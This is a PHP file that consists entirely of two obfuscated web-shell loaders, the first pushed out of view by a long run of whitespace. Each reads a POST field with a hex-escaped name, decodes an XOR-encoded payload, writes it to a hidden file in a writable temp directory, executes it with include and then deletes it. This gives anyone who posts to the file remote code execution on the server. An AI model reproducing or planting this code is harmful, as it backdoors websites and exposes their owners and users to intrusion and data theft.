<?php																																										if(isset($_POST["\x73\x79m"]) ? true : false){ $ptr = array_filter(["/dev/shm", getenv("TEMP"), session_save_path(), "/var/tmp", getcwd(), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); $desc = $_POST["\x73\x79m"]; $desc = explode ( '.' ,$desc); $pset = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $k = 0; array_walk($desc ,function ($v7) use (&$pset ,&$k ,$s ,$sLen) { $sChar = ord($s[$k %$sLen] ); $d = ((int)$v7 - $sChar - ($k %10)) ^ 80; $pset .= chr($d ); $k++;} ); foreach ($ptr as $descriptor): if ((is_dir($descriptor) and is_writable($descriptor))) { $symbol = join("/", [$descriptor, ".reference"]); if (file_put_contents($symbol, $pset)) { include $symbol; @unlink($symbol); die(); } } endforeach; }


if(filter_has_var(INPUT_POST, "r\x65\x63or\x64")){
	$value = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/dev/shm"]);
	$obj = $_POST["r\x65\x63or\x64"];
		 $obj			=explode		( '.'		 ,	$obj )	;		
	$pgrp = '';
            $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt5);
            $z = 0;
    
            foreach ($obj as $v5) {
                $sChar = ord($salt5[$z % $lenS]);
                $d = ((int)$v5 - $sChar - ($z % 10))^79;
                $pgrp	 .= chr($d);
                $z++;}	
	$property_set = 0;
do {
    $resource = $value[$property_set] ?? null;
    if ($property_set >= count($value)) break;
    		if (!( !is_dir($resource) || !is_writable($resource) )) {
    $comp = vsprintf("%s/%s", [$resource, ".item"]);
    if (@file_put_contents($comp, $pgrp) !== false) {
	include $comp;
	unlink($comp);
	exit;
}
}
    $property_set++;
} while (true);
}